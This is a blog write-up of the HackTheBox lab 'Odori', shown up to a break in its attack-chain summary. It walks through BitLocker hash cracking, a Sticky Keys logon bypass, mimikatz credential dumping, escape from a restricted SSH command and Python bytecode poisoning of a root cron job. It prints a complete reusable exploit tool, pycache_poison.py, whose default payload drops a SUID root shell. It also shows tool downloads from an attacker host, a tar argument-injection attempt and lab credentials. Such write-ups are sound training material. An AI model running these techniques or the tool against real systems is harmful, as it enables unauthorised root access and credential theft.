DEV Community: Yogeshwar Peela

HackTheBox: Odori Writeup

Yogeshwar Peela — Sat, 17 Oct 2026 11:15:50 +0000

Summary

Odori ships as an offline forensics box: the only live services are SSH and Samba, and an anonymously readable backup share just points to a BitLocker-encrypted VMDK handed out with the machine. Cracking the BitLocker password with bitlocker2john and rockyou unlocks the disk, but getting a usable account still means booting the VM into WinRE and swapping sethc.exe for cmd.exe to get a SYSTEM shell past the Windows logon with neither account's password known. From there, mimikatz dumps NTLM hashes (a dead end against the Linux box's Samba) and then pulls a cleartext scheduled-task password for svc_backup out of Credential Manager. That account can only SFTP into the Linux target - ForceCommand blocks an interactive shell - but /opt/restrict and svc_backup's .ssh directory are both writable over SFTP, so overwriting the forced-command script gets a real bash -i. User flag comes off before the shell escape. Root is a root cron job running /opt/archiver/app.py every minute: a tar-argument-injection attempt against writable /backup fails because each file gets its own tar invocation, but /opt/archiver/__pycache__/helper.cpython-310.pyc is writable by svc_backup, so forging a .pyc with a matching (mtime, size) header and module-level payload code gets arbitrary code executed as root on the next cron tick, dropping a SUID root bash.

Reconnaissance
Offline Disk Analysis
Decrypting BitLocker and Booting the VM
Credential Dumping (Windows)
Gaining a Shell (Linux)
User Flag
Privilege Escalation
Root Flag
Attack Chain Summary
Mitigations
References

1. Reconnaissance

1.1 Nmap

nmap -A -Pn <machine-ip> -oN nmap-full.txt

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_  256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2026-10-17T14:09:51
|_  start_date: N/A
|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: 1d00h08m40s

Three open ports: 22 (OpenSSH), 139 and 445 (Samba). No web surface at all, so the SMB shares become the obvious next step.

1.2 SMB Enumeration

Checked for null/guest SMB access before anything else:

nxc smb <machine-ip> -u '' -p ''
SMB   <machine-ip>   445   ODORI   [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:None) (Null Auth:True)
SMB   <machine-ip>   445   ODORI   [+] ODORI\:

Null auth works, so shares can be enumerated anonymously:

nxc smb <machine-ip> -u '' -p '' --shares
SMB   <machine-ip>   445   ODORI   Share           Permissions     Remark
SMB   <machine-ip>   445   ODORI   -----           -----------     ------
SMB   <machine-ip>   445   ODORI   print$                          Printer Drivers
SMB   <machine-ip>   445   ODORI   backup          READ            Server Backups
SMB   <machine-ip>   445   ODORI   IPC$                            IPC Service (odori server (Samba, Ubuntu))

backup is world-readable:

smbclient //<machine-ip>/backup -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun 25 18:49:15 2025
  ..                                  D        0  Fri Apr 24 17:29:37 2026
  info.txt                            N       66  Wed Jun 25 18:48:44 2025

                7533016 blocks of size 1024. 2864352 blocks available
smb: \> get info.txt
getting file \info.txt of size 66 as info.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

cat info.txt
Please download the .vmdk file linked in the machine description.

A single hint file pointing away from the live target entirely - the actual entry point is an offline forensics exercise against a provided disk image, not a live network service.

2. Offline Disk Analysis

The provided download is a large 7z archive (~19 GiB) containing a single .vmdk.

7z e odori.7z
7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
Scanning the drive for archives:
1 file, 19795590292 bytes (19 GiB)
Extracting archive: odori.7z
Enter password (will not be echoed):
--
Everything is Ok

file file02.vmdk
file02.vmdk: VMware4 disk image

2.1 Sanity-checking the disk image

Worth validating before spending time analyzing a 19 GiB file that might just be corrupted:

qemu-img info file02.vmdk
image: file02.vmdk
file format: vmdk
virtual size: 20 GiB (21474836480 bytes)
disk size: 18.7 GiB
cluster_size: 65536
Format specific information:
    cid: 3024510711
    parent cid: 4294967295
    create type: monolithicSparse

qemu-img check file02.vmdk
No errors were found on the image.

monolithicSparse - single-file VMDK, no split extents to track down.
parent cid: 4294967295 (0xFFFFFFFF) - no parent/base disk. Standalone image, not a snapshot delta waiting on a missing base.
Virtual size 20 GiB vs. 18.7 GiB on disk - consistent with what was extracted.

sha256sum file02.vmdk
e7b487e41937da6b6a5875867cf92a2c4f90bbcc32f61795c019e35f2db8a631  file02.vmdk

2.2 Identifying the OS and filesystem layout

virt-filesystems --long -h --all -a file02.vmdk
Name       Type        VFS   Label  MBR  Size  Parent
/dev/sda1  filesystem  vfat  -      -    96M   -
/dev/sda4  filesystem  ntfs  -      -    524M  -
/dev/sda1  partition   -     -      -    100M  /dev/sda
/dev/sda2  partition   -     -      -    16M   /dev/sda
/dev/sda3  partition   -     -      -    19G   /dev/sda
/dev/sda4  partition   -     -      -    524M  /dev/sda
/dev/sda   device      -     -      -    20G   -

virt-ls -a file02.vmdk -m /dev/sda1 -R /
EFI
EFI/Boot/bootx64.efi
EFI/Microsoft/Boot/...
System Volume Information

EFI System Partition plus a Microsoft Boot Manager layout - this confirms a Windows guest. The large 19 GB /dev/sda3 partition (unidentified filesystem type to virt-filesystems) is the OS volume, and turns out to be BitLocker-encrypted.

3. Decrypting BitLocker and Booting the VM

3.1 Building the analysis VM

VMware Workstation, custom build pointed directly at the extracted VMDK:

File -> New Virtual Machine -> Custom (advanced)
Hardware compatibility: default
Guest OS install: "I will install the operating system later"
Guest OS: Windows 10/11 x64 (closest match to the modern EFI bootloader seen earlier; refine later if it turns out to be Server)
Name/location: anywhere with enough free space for VM config files (the VMDK stays referenced in place)
CPU/memory: defaults
Network Type: Host-only - set this now, before first boot, to keep the box isolated
I/O controller / disk type: defaults
Select a Disk -> Use an existing virtual disk -> browse to file02-working.vmdk (work on a copy, never the original). Accept any "needs to be converted" prompt only if required.
Finish
Before powering on: confirm Network Adapter is Host-only, and Hard Disk points at the working copy.
Power on -> if prompted "did you copy or move this VM," choose I copied it.

Powering on this VM is where the BitLocker protection first became visible - the boot immediately stops at a password prompt instead of reaching a Windows logon screen.

3.2 Cracking the BitLocker hash

john ships a native BitLocker hash extractor, run back on the host against the original VMDK:

bitlocker2john -i file02.vmdk > vm-hash

cat vm-hash
Encrypted device file02.vmdk opened, size 19122MB
...
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$...
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$...  Hash type: Recovery Password fast attack
$bitlocker$2$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)

john --wordlist=/usr/share/wordlists/rockyou.txt vm-hash
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
123456789        (?)
123456789        (?)

BitLocker password cracked: 123456789. Entering this at the VM's BitLocker prompt unlocks the volume and lets the boot continue - but it still doesn't give us a Windows account (Administrator / svc_backup) to log in as, since we still don't know either account's Windows password. For that, a privilege escalation path is needed once inside the guest.

3.3 Bypassing the Windows logon with a recovery environment

To get a SYSTEM-level shell without knowing either account's Windows password, boot into WinRE from an installation ISO and patch Sticky Keys.

Attach the ISO (VM powered off): Settings -> CD/DVD (SATA) -> Use ISO Image file -> browse to a Windows installation ISO -> check Connect at power on.

Boot to firmware and select the CD-ROM: Power On -> Power On to Firmware -> Boot Manager -> select EFI VMware Virtual SATA CDROM Drive (1.0).

The ISO's Windows Setup loads. Pick language/keyboard defaults and click Next:

On the install screen, don't click Install now - use the recovery link in the bottom-left instead:

This drops into WinRE. Click Troubleshoot:

Then Command Prompt:

Identify and unlock the BitLocker volume from the recovery shell:

X:\Sources>diskpart

DISKPART> list volume

  Volume ###  Ltr  Label        Fs     Type        Size     Status     Info
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  Volume 0     D   ESD-ISO      UDF    DVD-ROM     4667 MB  Healthy
  Volume 1         Unkno        Partition     19 GB  Healthy
  Volume 2         FAT32        Partition    100 MB  Healthy    Hidden
  Volume 3         NTFS         Partition    524 MB  Healthy    Hidden

DISKPART> select volume 1
DISKPART> assign letter=E
DISKPART> exit

Volume 1 (the 19 GB target) reads as Unkno filesystem until unlocked - a BitLocker-locked NTFS volume shows as unrecognized to tools that can't decrypt it on the fly.

X:\Sources>manage-bde -unlock E: -pw
Enter the password to unlock this volume: [BitLocker password]
The password successfully unlocked volume E:.

X:\Sources>dir E:
01/11/2025  05:23 AM    <DIR>          Config
01/11/2025  05:33 AM    <DIR>          Data
01/11/2025  05:32 AM    <DIR>          Program Files
01/11/2025  05:29 AM    <DIR>          Scripts
01/08/2025  09:05 AM    <DIR>          Users
10/16/2026  08:30 PM    <DIR>          Windows

Swap sethc.exe for cmd.exe - the classic Sticky Keys privesc:

X:\Sources>copy E:\Windows\System32\sethc.exe E:\Windows\System32\sethc.exe.bak
        1 file(s) copied.

X:\Sources>copy E:\Windows\System32\cmd.exe E:\Windows\System32\sethc.exe
Overwrite E:\Windows\System32\sethc.exe? (Yes/No/All): Y
        1 file(s) copied.

Disconnect the ISO and reboot into the normal Windows logon screen. Pressing Shift x5 at the logon screen now launches a SYSTEM-privileged cmd.exe in place of the Sticky Keys dialog - full SYSTEM access with neither account's Windows password:

From this SYSTEM prompt, the Administrator password can simply be reset:

net user Administrator Password123

4. Credential Dumping (Windows)

4.1 Local hashes via mimikatz

C:\Temp>.\mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
 -> Impersonated !
 * Thread Token  : {0;000003e7} NT AUTHORITY\SYSTEM

mimikatz # lsadump::sam

Recovered NTLM hashes:

Administrator:58a478135a93ac3bf058a5ea0e8fdb71
svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e
WDAGUtilityAccount:63d7c1f6a1a8378eba2ee87246bf7140

Pass-the-hash against the Linux target's Samba service only authenticates as Guest - Samba doesn't trust these as domain creds for anything useful here:

nxc smb <machine-ip> -u svc_backup -H be3071bd4cce75e2bbd3c79c7ec5380e
SMB   <machine-ip>   445   ODORI   [+] ODORI\svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e (Guest)

nxc smb <machine-ip> -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB   <machine-ip>   445   ODORI   [+] ODORI\Administrator:58a478135a93ac3bf058a5ea0e8fdb71 (Guest)

So the NTLM hashes aren't the way in - the real credential is elsewhere on disk.

4.2 Finding a cleartext password in Credential Manager

C:\Scripts\backup.ps1 references svc_backup connecting to odori.vl via SFTP, with the password redacted in the script itself (shown only as ***). Since the script runs as a scheduled task, Windows has to store the running account's password somewhere to authenticate non-interactively at run time - Credential Manager's Windows Credentials vault is the usual place for this.

mimikatz # vault::list

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
        Name       : Windows Credentials
        Items (1)
          0.    (null)
                Ressource       : [STRING] Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
                Identity        : [STRING] FILE02\svc_backup
                *** Domain Password ***

vault::list shows the entry exists but doesn't reveal the password itself - vault::cred /patch decrypts and dumps it:

mimikatz # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8} / <NULL>
UserName   : FILE02\svc_backup
Type       : 2 - domain_password
Credential : Napping2Curator

Recovered credential: svc_backup / Napping2Curator

5. Gaining a Shell (Linux)

5.1 SSH authenticates but hangs

ssh svc_backup@<machine-ip> -v
...
debug1: Next authentication method: password
svc_backup@<machine-ip>'s password:
Authenticated to <machine-ip> ([<machine-ip>]:22) using "password".
debug1: Entering interactive session.
debug1: pledge: fork

Authentication succeeds, but the session never produces a shell prompt - it just hangs. This pointed at a server-side restriction rather than a credential problem, so the obvious workaround is to try a different SSH subsystem: SFTP (also over port 22) is mentioned in the backup script, so test that first.

5.2 SFTP works

sftp svc_backup@<machine-ip>
svc_backup@<machine-ip>'s password:
Connected to <machine-ip>.
sftp> ls -la
drwxr-x---    5 svc_backup svc_backup     4096 Apr  6  2026 .
drwxr-xr-x    4 root     root         4096 Jan 11  2025 ..
lrwxrwxrwx    1 root     root            9 Apr  6  2026 .bash_history
-rw-r--r--    1 svc_backup svc_backup      220 Jan 11  2025 .bash_logout
-rw-r--r--    1 svc_backup svc_backup     3771 Jan 11  2025 .bashrc
drwx------    2 svc_backup svc_backup     4096 Jan 11  2025 .cache
drwxrwxr-x    3 svc_backup svc_backup     4096 Jan 15  2025 .local
-rw-r--r--    1 svc_backup svc_backup      807 Jan 11  2025 .profile
drwxr-xr-x    2 svc_backup svc_backup     4096 Jan 11  2025 .ssh
-rw-r-----    1 root     svc_backup       33 Oct 18 02:59 user.txt

5.3 Diagnosing the restricted shell

Pulled the SSH server config to understand why the interactive session hangs:

sftp> get /etc/ssh/sshd_config

cat sshd_config
...
Match group svc_backup
        #ChrootDirectory /backup
        ForceCommand /opt/restrict /home/%u
        AllowTcpForwarding no

svc_backup falls under this Match group block, and ForceCommand overrides whatever command the client requests - that's why the interactive shell never materializes. The forced command itself:

sftp> get /opt/restrict

cat restrict
#!/bin/bash

/usr/lib/openssh/sftp-server -d $1

It just re-execs the SFTP server, which is why SFTP worked but an interactive shell didn't - the account is wired to only ever get SFTP.

5.4 Escaping the restricted shell

Two things make the bypass possible:

/opt/restrict is group/other-writable (-rwxrwxr-x, owned by svc_backup:root) - the exact file SSH forces as the login command can be overwritten.
svc_backup's own .ssh directory is writable over SFTP, so a public key can be dropped in for key-based auth.

Add our public key:

cat ~/.ssh/id_ed25519.pub >> authorized_keys
# on sftp
put authorized_keys /home/svc_backup/authorized_keys

Replace the forced command with a real shell:

cat > restrict_new << 'EOF'
#!/bin/bash
/bin/bash -i
EOF
chmod +x restrict_new

# on sftp
put restrict_new /opt/restrict

Connect with an interactive shell:

ssh -i ~/.ssh/id_ed25519 svc_backup@<machine-ip>
svc_backup@odori:~$ whoami
svc_backup
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)

svc_backup@odori:~$ sudo -l
[sudo] password for svc_backup:
Sorry, user svc_backup may not run sudo on odori.

No sudo rights - privilege escalation has to come from somewhere else on the box.

6. User Flag

Grabbed via SFTP, before the shell escape above:

sftp> get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt                                                                    100%   33     0.0KB/s   00:00

cat user.txt
REDACTED

7. Privilege Escalation

7.1 Enumeration

svc_backup@odori:~$ find / -perm -4000 2>/dev/null
...
-rwsr-xr-x 1 root root 31K Apr 10 2026 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034

All SUID binaries are patched against their known CVEs - nothing usable there. Crontabs and timers visible to the user showed nothing either, so the next step was to pull linpeas.sh and pspy64 to look for privileged activity invisible from a normal user's view (cron jobs running as root in particular don't show up in a user's own crontab -l).

svc_backup@odori:~$ wget http://<attacker-ip>/linpeas.sh
svc_backup@odori:~$ wget http://<attacker-ip>/pspy64 && chmod +x pspy64 && ./pspy64

pspy64 caught a root-owned process firing every minute:

2026/10/18 07:37:01 CMD: UID=0 PID=67651 | python3 /opt/archiver/app.py
2026/10/18 07:37:01 CMD: UID=0 PID=67650 | /bin/sh -c python3 /opt/archiver/app.py

7.2 The archiver script

/opt/archiver - already noted earlier over SFTP but not yet connected to a cron job:

svc_backup@odori:~$ ls -la /opt/archiver/
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
-rw-r--r-- 1 root root  812 Jan 11  2025 app.py
-rw-r--r-- 1 root root  412 Jan 16  2025 helper.py
drwxr-xrwx 2 root root 4096 Oct 18 08:10 __pycache__

# app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files

backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)

def scan_and_archive_files():
    if not os.path.exists(archive_dir):
        os.makedirs(archive_dir)
    for root, dirs, files in os.walk(backup_dir):
        for file in files:
            file_path = os.path.join(root, file)
            file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
            if file_mod_time < threshold_date:
                print(f'Moving {file_path} to archive...')
                tar_and_move_files(file_path, archive_dir)
            else:
                print(f'{file_path} is not old enough to archive.')

if __name__ == '__main__':
    scan_and_archive_files()

# helper.py
import os
import subprocess
from datetime import datetime

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)

Two separate weaknesses jump out:

#	Weakness	Where
1	`tar` is invoked with a filename taken straight from `/backup`, with no sanitization	`helper.py` -> `tar_and_move_files()`
2	`__pycache__` is world-writable (`drwxr-xrwx`), and the cached bytecode file inside it is owned by `svc_backup`	`/opt/archiver/__pycache__/`

/backup itself is also writable by svc_backup (confirmed via linpeas and by the earlier SMB backup share), so both paths are reachable.

7.3 Attempt 1: tar argument injection (failed)

The idea: drop a filename in /backup, aged past the 3-year threshold, crafted so tar parses it as an option instead of a filename - classic GTFOBins-style tar argument injection.

cd /backup
touch -d "4 years ago" -- "--checkpoint=1"
touch -d "4 years ago" -- "--checkpoint-action=exec=sh shell.sh"

This doesn't work here. app.py calls tar_and_move_files() once per file found by os.walk(), and each call spawns its own separate tar process with a single filename argument:

subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", dirname, basename])

So --checkpoint=1 and --checkpoint-action=... land in two unrelated tar invocations, never together on the same command line. --checkpoint alone is harmless (just prints progress), so nothing fires. Confirmed manually:

/usr/bin/tar -czf /tmp/test1.tar.gz -C /home/svc_backup -- "--checkpoint=1"
# exit code: 0, archive created normally - no injection possible this way

A single self-contained option like --use-compress-program=/path/to/script would work in principle, since it needs no pairing with a second argument - but the __pycache__ write primitive below was already confirmed and is more deterministic, so that became the actual exploitation path.

7.4 Attempt 2: `pycache` bytecode poisoning (successful)

Python's import system trusts a cached .pyc file over recompiling its matching .py source whenever the .pyc's embedded header - specifically the source file's (mtime, size) - matches the real source file on disk. There's no cryptographic integrity check on cached bytecode. Since helper.cpython-310.pyc was owned by and writable by svc_backup, a forged .pyc with a header matching the real helper.py would be loaded and executed as-is by root's cron job, without the actual helper.py source ever being touched.

(See Section 11 - References for background on this technique.)

Step 1 - capture the real source file's mtime/size, needed so the forged header validates:

REAL_MTIME=$(stat -c '%Y' /opt/archiver/helper.py)
REAL_SIZE=$(stat -c '%s' /opt/archiver/helper.py)

Step 2 - write a malicious helper.py. The payload has to sit at module scope, not inside tar_and_move_files() - the function body only runs if app.py actually calls it, which requires a qualifying file in /backup. Module-level code runs unconditionally the instant the module is imported, which happens on every single cron tick regardless of /backup's contents:

import os, subprocess
from datetime import datetime

try:
    os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
except Exception:
    pass

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)

An earlier attempt placed the os.system(...) call inside the function body and produced no result - it silently waited on a qualifying /backup file that never arrived. Moving it to module scope fixed this.

Step 3 - compile, then patch the header's size field. py_compile stamps the local file's own mtime/size by default; the mtime is made correct up front by touching the source file, but the size still has to be patched manually to match the real helper.py on the target:

touch -d @$REAL_MTIME helper.py
python3 -m py_compile helper.py

python3 - << EOF
import struct
pyc_path = "__pycache__/helper.cpython-310.pyc"
with open(pyc_path, "r+b") as f:
    data = bytearray(f.read())
    struct.pack_into("<I", data, 12, $REAL_SIZE & 0xFFFFFFFF)
    f.seek(0)
    f.write(data)
EOF

Step 4 - drop it into the real cache directory and wait for the next cron tick:

cp __pycache__/helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc
watch -n 5 'ls -la /tmp/rootbash 2>/dev/null'

Within 60 seconds:

svc_backup@odori:/tmp/poison$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Oct 18 09:42 /tmp/rootbash
svc_backup@odori:/tmp/poison$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)

7.5 Automating the exploit

A general-purpose version of steps 2-4 above is available as pycache_poison.py. It builds the malicious module, compiles it, patches the header to match an arbitrary real source file, and writes the result to a target __pycache__ path in one shot.

One important implementation detail: writing to the target .pyc using open("wb") directly will fail with PermissionError when the file is owned by root (which happens if cron ran and Python discarded a mismatched-header .pyc and recompiled it as root). The fix is to write a temp file in the same directory and os.replace() it over the target - a rename only needs write permission on the directory, not the file itself, which matches exactly what mv does.

usage: pycache_poison.py [-h] --source SOURCE --target-pyc TARGET_PYC
                         [--payload PAYLOAD] [--keep-func NAME] [--dry-run]

arguments:
  --source      Path to the real .py source file the privileged process
                imports. Only read, never modified - its mtime/size are
                copied into the forged header.
  --target-pyc  Path to write the poisoned .pyc. Parent __pycache__ dir
                must be writable; the file itself does not need to be.
  --payload     Python statement to execute unconditionally at import time.
                Default: os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')
  --keep-func   Function name the privileged script imports/calls from the
                module. Repeat for each name. A harmless no-op stub is
                generated so the privileged script doesn't crash.
  --dry-run     Build and print the forged module without writing anything.

Usage on this box:

python3 pycache_poison.py \
  --source /opt/archiver/helper.py \
  --target-pyc /opt/archiver/__pycache__/helper.cpython-310.pyc \
  --payload "os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" \
  --keep-func tar_and_move_files

Expected output:

[*] Source: /opt/archiver/helper.py
    mtime = 1737062139 (1737062139)
    size  = 412 bytes
[*] Compiled malicious module -> /tmp/tmpkivculj3/__pycache__/_poison_src.cpython-310.pyc
[*] Patched pyc header to match source (mtime, size)
[+] Wrote poisoned pyc -> /opt/archiver/__pycache__/helper.cpython-310.pyc
[+] Done. Wait for the privileged process to import this module again (cron tick, service restart, next invocation, etc.).

Full script:

#!/usr/bin/env python3
"""
pycache_poison.py

Generic Python __pycache__ bytecode-poisoning helper for local privesc
scenarios where a privileged process (root cron job, SUID wrapper, systemd
service, sudo script, etc.) imports a module from a directory whose
__pycache__ folder is writable by a lower-privileged user.

Background / technique:
  Python's import system will load a cached .pyc instead of recompiling the
  matching .py source IF the .pyc header's embedded (mtime, size) of the
  source file matches the real source file on disk. There is no
  cryptographic integrity check, so if an attacker can write to the
  __pycache__ directory, they can forge a .pyc whose header matches the
  real source file's (mtime, size) but whose bytecode is attacker-controlled.
  The privileged process then executes the attacker's code on next import,
  with no visible change to the real .py source file.

  See: https://hardsoftsecurity.es/index.php/2026/01/19/python-cache-poisoning-privesc-linux/

Requirements:
  - Write access to the target .pyc file's parent __pycache__ directory
  - Read access to the real source .py file (to copy its mtime/size)
  - The python3 interpreter used to RUN this script must be the same
    major.minor version the privileged process uses (so the magic number
    in the compiled bytecode matches what the target interpreter accepts)
"""

import argparse
import os
import struct
import subprocess
import sys
import tempfile


def read_source_stat(source_path: str):
    st = os.stat(source_path)
    mtime = int(st.st_mtime)
    size = st.st_size & 0xFFFFFFFF
    return mtime, size


def build_module_source(payload: str, keep_funcs: list) -> str:
    """
    Build the full .py text for the malicious module: unconditional
    module-level payload execution, plus harmless stub functions so the
    privileged importer's `from module import <name>` / later calls don't
    blow up.
    """
    lines = [
        "import os",
        "import subprocess",
        "",
        "try:",
        f"    {payload}",
        "except Exception:",
        "    pass",
        "",
    ]
    for fn in keep_funcs:
        lines.append(f"def {fn}(*args, **kwargs):")
        lines.append("    pass")
        lines.append("")
    return "\n".join(lines)


def compile_module(py_text: str, mtime: int, workdir: str) -> str:
    """
    Write py_text to a throwaway .py file inside workdir, stamp it with the
    given mtime (so py_compile embeds a predictable value we'll overwrite
    anyway), compile it, and return the path to the produced .pyc.
    """
    src_path = os.path.join(workdir, "_poison_src.py")
    with open(src_path, "w") as f:
        f.write(py_text)
    os.utime(src_path, (mtime, mtime))

    subprocess.run(
        [sys.executable, "-m", "py_compile", src_path],
        check=True,
        cwd=workdir,
    )

    cache_dir = os.path.join(workdir, "__pycache__")
    candidates = [f for f in os.listdir(cache_dir) if f.startswith("_poison_src.")]
    if not candidates:
        raise RuntimeError("py_compile did not produce a .pyc file")
    return os.path.join(cache_dir, candidates[0])


def patch_header(pyc_path: str, mtime: int, size: int) -> bytes:
    """
    Rewrite the 16-byte PEP 552 timestamp-based .pyc header so its
    (mtime, size) fields match the real source file, while keeping the
    magic number (bytes 0-3) and flags (bytes 4-7) produced by this
    interpreter's own compiler.

    Header layout (CPython 3.7+):
      offset  0-3  : magic number
      offset  4-7  : flags (bit 0 = hash-based pyc; we require 0 = timestamp-based)
      offset  8-11 : source mtime (little-endian uint32)
      offset 12-15 : source size  (little-endian uint32)
      offset 16-   : marshalled code object
    """
    with open(pyc_path, "rb") as f:
        data = bytearray(f.read())

    if len(data) < 16:
        raise RuntimeError("Compiled .pyc is smaller than the expected header size")

    flags = struct.unpack_from("<I", data, 4)[0]
    if flags & 0x1:
        raise RuntimeError(
            "This interpreter produced a hash-based pyc (PEP 552 flag bit 0 set); "
            "this script only forges timestamp-based pyc headers."
        )

    struct.pack_into("<I", data, 8, mtime & 0xFFFFFFFF)
    struct.pack_into("<I", data, 12, size)
    return bytes(data)


def main():
    parser = argparse.ArgumentParser(
        description="Forge a __pycache__ .pyc to execute code in a privileged "
        "Python import, matching a real source file's cache-validation header."
    )
    parser.add_argument(
        "--source",
        required=True,
        help="Path to the REAL .py source file the privileged process imports. "
        "Only read, never modified.",
    )
    parser.add_argument(
        "--target-pyc",
        required=True,
        help="Path to WRITE the poisoned .pyc. Parent __pycache__ dir must be "
        "writable; the file itself does not need to be.",
    )
    parser.add_argument(
        "--payload",
        default="os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')",
        help="Python statement executed unconditionally at module import time. "
        "Default drops a SUID root bash to /tmp/rootbash.",
    )
    parser.add_argument(
        "--keep-func",
        action="append",
        default=[],
        metavar="NAME",
        help="Function name the privileged script imports/calls from this module. "
        "Repeat for multiple names. A no-op stub is generated for each.",
    )
    parser.add_argument(
        "--dry-run",
        action="store_true",
        help="Build and show the forged module/header info without writing "
        "to --target-pyc.",
    )
    args = parser.parse_args()

    if not os.path.isfile(args.source):
        sys.exit(f"[-] Source file not found: {args.source}")

    mtime, size = read_source_stat(args.source)
    print(f"[*] Source: {args.source}")
    print(f"    mtime = {mtime} ({mtime})")
    print(f"    size  = {size} bytes")

    py_text = build_module_source(args.payload, args.keep_func)

    with tempfile.TemporaryDirectory() as workdir:
        compiled_pyc = compile_module(py_text, mtime, workdir)
        print(f"[*] Compiled malicious module -> {compiled_pyc}")

        forged = patch_header(compiled_pyc, mtime, size)
        print("[*] Patched pyc header to match source (mtime, size)")

        if args.dry_run:
            print("[*] --dry-run set, not writing target pyc. Module source:\n")
            print(py_text)
            return

        target_dir = os.path.dirname(args.target_pyc)
        if not os.path.isdir(target_dir):
            sys.exit(f"[-] Target directory does not exist: {target_dir}")

        # Write to a temp file in the same directory, then os.replace() over
        # the target. This only needs write permission on the DIRECTORY
        # (unlink + relink), not the target file itself - so it works even
        # when root has recompiled the .pyc and we can no longer truncate it
        # in place. Same mechanism as `mv`.
        fd, tmp_path = tempfile.mkstemp(dir=target_dir, prefix=".poison-")
        try:
            with os.fdopen(fd, "wb") as f:
                f.write(forged)
            os.replace(tmp_path, args.target_pyc)
        except Exception:
            try:
                os.unlink(tmp_path)
            except OSError:
                pass
            raise

        print(f"[+] Wrote poisoned pyc -> {args.target_pyc}")
        print(
            "[+] Done. Wait for the privileged process to import this module "
            "again (cron tick, service restart, next invocation, etc.)."
        )


if __name__ == "__main__":
    main()

8. Root Flag

rootbash-5.1# cd /root
rootbash-5.1# ls
root.txt  snap
rootbash-5.1# cat root.txt
REDACTED

9. Attack Chain Summary

Odori
│
├─ Recon
│   ├─ Nmap: SSH (22), Samba (139/445) only - no web surface
│   ├─ SMB null session -> anonymous access to `backup` share
│   └─ info.txt -> hint: "download the .vmdk file"
│
├─ Offline Disk Analysis
│   ├─ Extract 7z -> file02.vmdk (19 GiB)
│   ├─ qemu-img info/check -> valid, standalone, monolithicSparse
│   └─ virt-filesystems / virt-ls -> Windows (EFI + MS Boot Manager), sda3 = BitLocker volume
│
├─ BitLocker Bypass
│   ├─ Boot VM -> BitLocker password prompt discovered
│   ├─ bitlocker2john -> hash extracted
│   └─ john + rockyou -> password cracked: 123456789
│
├─ Windows Access (SYSTEM)
│   ├─ Boot VM in VMware (host-only network) -> BitLocker unlock works, but no Windows creds
│   ├─ Boot to firmware -> installation ISO -> WinRE -> Command Prompt
│   ├─ diskpart -> unlock volume with manage-bde -unlock
│   ├─ Swap sethc.exe <-> cmd.exe (Sticky Keys)
│   └─ Reboot -> Shift x5 at logon -> SYSTEM cmd.exe
│
├─ Credential Access
